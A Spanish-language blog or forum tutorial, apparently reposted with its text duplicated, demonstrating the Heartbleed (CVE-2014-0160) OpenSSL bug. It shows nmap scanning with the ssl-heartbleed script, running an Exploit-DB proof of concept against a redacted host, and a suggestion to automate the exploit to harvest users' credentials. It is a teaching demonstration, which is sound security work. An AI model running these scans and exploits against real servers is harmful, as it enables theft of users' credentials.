Buenas a todos, hoy he escrito un artículo en el que explico como realizar un ataque aprovechándonos de la archi-conocida CVE-2014-0160.
Para el que no lo sepa, el pasado 1 de Abril, fue descubierta esta vulnerabilidad de carácter crítico y es que muchos servidores muy importantes se han visto directamente afectados por esta, como Facebook, Google, Instagram, Tumblr... así como otras muchas muy importantes.
Esta vulnerabilidad permite al atacante mal-intencionado, revelar credenciales que hayan sido procesados por la capa del SSL vulnerable, permitiendo así que los datos sean revelados sin necesidad de asaltar el sistema.
Hoy te vamos a enseñar como funciona, demostrando la falla de seguridad en openSSL con Heartbleed, para que veas con tus propios ojos, lo importante de este fallo de seguridad.
En primer lugar, establezcamos el "scenario" de nuestro "ataque". Nos encontramos contra un servidor que hace uso de openSSL versión 1.0.1f, que para los mas curiosos puede ser descargado desde su web oficial para experimentar, con el siguiente comando:
Una vez tenemos claro el escenario, vamos a ver que clase de fingerprint debemos encontrar, para obtener un vector potencial de ataque, pues los chicos de nmap ya se han currado un script para hacerle un fingerprint y detectar si el servidor posee una versión vulnerable. Para instalarlos vamos a proceder con los siguientes comandos:
Una vez instalado, procedemos a lanzar el escaneo correspondiente, con el siguiente comando:
Para nosotros, esto es una victoria!
Vamos a usar ahora alguno de los famosos PoC (Proof of concept para los lusers ), que podemos encontrar en alguno de nuestros amados repositorios de vulnerabilidades como exploitDB. Para descargarlo, tan solo tenemos que acudir al siguiente enlace y descargar el script o copiar el código en un fichero con extensión .py y darle permisos de ejecución para lanzarlo con el intérprete. Sin más, el enlace:
http://www.exploit-db.com/exploits/32764/
Para ejecutar el código, vamos a lanzar el siguiente comando:
Qué acaba de hacer este exploit? Vamos a explicarlo, puesto que es muy importante saber por qué falla.
Vamos a considerar la conexión a la layer del SSL como un diálogo entre cliente y servidor con SSL, que podría ejemplificarse así:
-Servidor, estás ahí? Si es así, devuélveme la palabra "Undersecured" cifrada, de 12 letras.
-Andoni quiere "Undersecured". Toma Undersecured.
Sencillo verdad? Le pedimos contenido "seguro" al servidor que supuestamente no podrá ser esnifado, puesto que viene cifrado. Nuestro fallo viene dado por hacerle creer al servidor que unos credenciales son nuestros pidiendo más información de la que nos corresponde:
-Servidor, estás ahí? Si es así devuélveme la palabra "membrillo" cifrada, de 520 letras.
-Andoni quiere "membrillo". Toma "membrillo pepe contraseña123 loko94 contraseñachulikah morenika92 adoroelmembrillo..."
Obteniendo así del servidor, credenciales que fueron securizados con anterioridad permitiéndonos verlos en plain-text disponibles para ser usado con el consiguiente robo de información y credenciales.
Como ampliación, y tal como presume el genial Chema Alonso en su blog, este ataque podría automatizarse de forma muy sencilla haciendo uso de Python o Bash Script,haciendo que dicho exploit se vaya lanzando, por ejemplo cada 10 segundos y así atrapar toda la información que los usuarios descuidados vayan introduciendo, creyendo que una layer SSL les hace inmunes.
Recordad que este ataque, no es mas que una simulación realizada con mis propios servidor y que ni yo ni nadie se hace responsable del mal uso o el uso mal intencionado que se le pueda dar a esta información.
Sed responsables and keep on hacking!
Si os ha gustado, sería genial que compartieseis el enlace a mi página web y por supuesto, que me mandéis todas vuestras peticiones/críticas/sugerencias/agradecimientos.
http://www.undersecured.com/blog/demostrando-la-falla-de-seguridad-en-openssl-con-heartbleed/
Un saludo!
Para el que no lo sepa, el pasado 1 de Abril, fue descubierta esta vulnerabilidad de carácter crítico y es que muchos servidores muy importantes se han visto directamente afectados por esta, como Facebook, Google, Instagram, Tumblr... así como otras muchas muy importantes.
Esta vulnerabilidad permite al atacante mal-intencionado, revelar credenciales que hayan sido procesados por la capa del SSL vulnerable, permitiendo así que los datos sean revelados sin necesidad de asaltar el sistema.
Hoy te vamos a enseñar como funciona, demostrando la falla de seguridad en openSSL con Heartbleed, para que veas con tus propios ojos, lo importante de este fallo de seguridad.
En primer lugar, establezcamos el "scenario" de nuestro "ataque". Nos encontramos contra un servidor que hace uso de openSSL versión 1.0.1f, que para los mas curiosos puede ser descargado desde su web oficial para experimentar, con el siguiente comando:
Código [Seleccionar]
root@hacklab:~# wget http://www.openssl.org/source/openssl-1.0.1f.tar.gz
--2014-05-01 11:51:01-- http://www.openssl.org/source/openssl-1.0.1f.tar.gz
Resolviendo www.openssl.org (www.openssl.org)... 185.9.166.106
Conectando con www.openssl.org (www.openssl.org)[185.9.166.106]:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 4509212 (4,3M) [application/x-gzip]
Grabando a: "openssl-1.0.1f.tar.gz"
100%[======================================>] 4.509.212 1,01M/s en 4,8s
2014-05-01 11:51:07 (913 KB/s) - "openssl-1.0.1f.tar.gz" guardado [4509212/4509212]
Una vez tenemos claro el escenario, vamos a ver que clase de fingerprint debemos encontrar, para obtener un vector potencial de ataque, pues los chicos de nmap ya se han currado un script para hacerle un fingerprint y detectar si el servidor posee una versión vulnerable. Para instalarlos vamos a proceder con los siguientes comandos:
Código [Seleccionar]
root@hacklab:~# cd /usr/share/nmap/scripts/
root@hacklab:/usr/share/nmap/scripts# wget https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse
--2014-05-01 11:56:34-- https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse
Resolviendo svn.nmap.org (svn.nmap.org)... 173.255.243.189
Conectando con svn.nmap.org (svn.nmap.org)[173.255.243.189]:443... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 8069 (7,9K) [text/plain]
Grabando a: "ssl-heartbleed.nse"
100%[======================================>] 8.069 --.-K/s en 0,006s
2014-05-01 11:56:36 (1,25 MB/s) - "ssl-heartbleed.nse" guardado [8069/8069]
root@hacklab:/usr/share/nmap/scripts# cd ..
root@hacklab:/usr/share/nmap# cd nselib/
root@hacklab:/usr/share/nmap/nselib# wget https://svn.nmap.org/nmap/nselib/tls.lua
--2014-05-01 11:57:17-- https://svn.nmap.org/nmap/nselib/tls.lua
Resolviendo svn.nmap.org (svn.nmap.org)... 173.255.243.189
Conectando con svn.nmap.org (svn.nmap.org)[173.255.243.189]:443... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 38605 (38K) [text/plain]
Grabando a: "tls.lua"
100%[======================================>] 38.605 147K/s en 0,3s
2014-05-01 11:57:19 (147 KB/s) - "tls.lua" guardado [38605/38605]
Una vez instalado, procedemos a lanzar el escaneo correspondiente, con el siguiente comando:
Código [Seleccionar]
root@hacklab:~# nmap -sV -p 443 --script=ssl-heartbleed.nse xxxx.cat
Nmap scan report for xxxxxx (xxx.xxx.xxx.xxx)
Host is up (0.0059s latency).
Not shown: 992 closed ports
PORT STATE SERVICE VERSION
443/tcp open ssl OpenSSL (SSLv3)
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
| State: VULNERABLE
| Risk factor: High
| Description:
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
| http://www.openssl.org/news/secadv_20140407.txt
|_ http://cvedetails.com/cve/2014-0160/
Service Info: Host: xxx; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Para nosotros, esto es una victoria!
Vamos a usar ahora alguno de los famosos PoC (Proof of concept para los lusers ), que podemos encontrar en alguno de nuestros amados repositorios de vulnerabilidades como exploitDB. Para descargarlo, tan solo tenemos que acudir al siguiente enlace y descargar el script o copiar el código en un fichero con extensión .py y darle permisos de ejecución para lanzarlo con el intérprete. Sin más, el enlace:
http://www.exploit-db.com/exploits/32764/
Para ejecutar el código, vamos a lanzar el siguiente comando:
Código [Seleccionar]
root@hacklab:~# python 32764.py xxxxx.cat -p 443
...
WARNING: server returned more data than it should - server is vulnerable!
Qué acaba de hacer este exploit? Vamos a explicarlo, puesto que es muy importante saber por qué falla.
Vamos a considerar la conexión a la layer del SSL como un diálogo entre cliente y servidor con SSL, que podría ejemplificarse así:
-Servidor, estás ahí? Si es así, devuélveme la palabra "Undersecured" cifrada, de 12 letras.
-Andoni quiere "Undersecured". Toma Undersecured.
Sencillo verdad? Le pedimos contenido "seguro" al servidor que supuestamente no podrá ser esnifado, puesto que viene cifrado. Nuestro fallo viene dado por hacerle creer al servidor que unos credenciales son nuestros pidiendo más información de la que nos corresponde:
-Servidor, estás ahí? Si es así devuélveme la palabra "membrillo" cifrada, de 520 letras.
-Andoni quiere "membrillo". Toma "membrillo pepe contraseña123 loko94 contraseñachulikah morenika92 adoroelmembrillo..."
Obteniendo así del servidor, credenciales que fueron securizados con anterioridad permitiéndonos verlos en plain-text disponibles para ser usado con el consiguiente robo de información y credenciales.
Como ampliación, y tal como presume el genial Chema Alonso en su blog, este ataque podría automatizarse de forma muy sencilla haciendo uso de Python o Bash Script,haciendo que dicho exploit se vaya lanzando, por ejemplo cada 10 segundos y así atrapar toda la información que los usuarios descuidados vayan introduciendo, creyendo que una layer SSL les hace inmunes.
Recordad que este ataque, no es mas que una simulación realizada con mis propios servidor y que ni yo ni nadie se hace responsable del mal uso o el uso mal intencionado que se le pueda dar a esta información.
Sed responsables and keep on hacking!
Si os ha gustado, sería genial que compartieseis el enlace a mi página web y por supuesto, que me mandéis todas vuestras peticiones/críticas/sugerencias/agradecimientos.
http://www.undersecured.com/blog/demostrando-la-falla-de-seguridad-en-openssl-con-heartbleed/
Un saludo!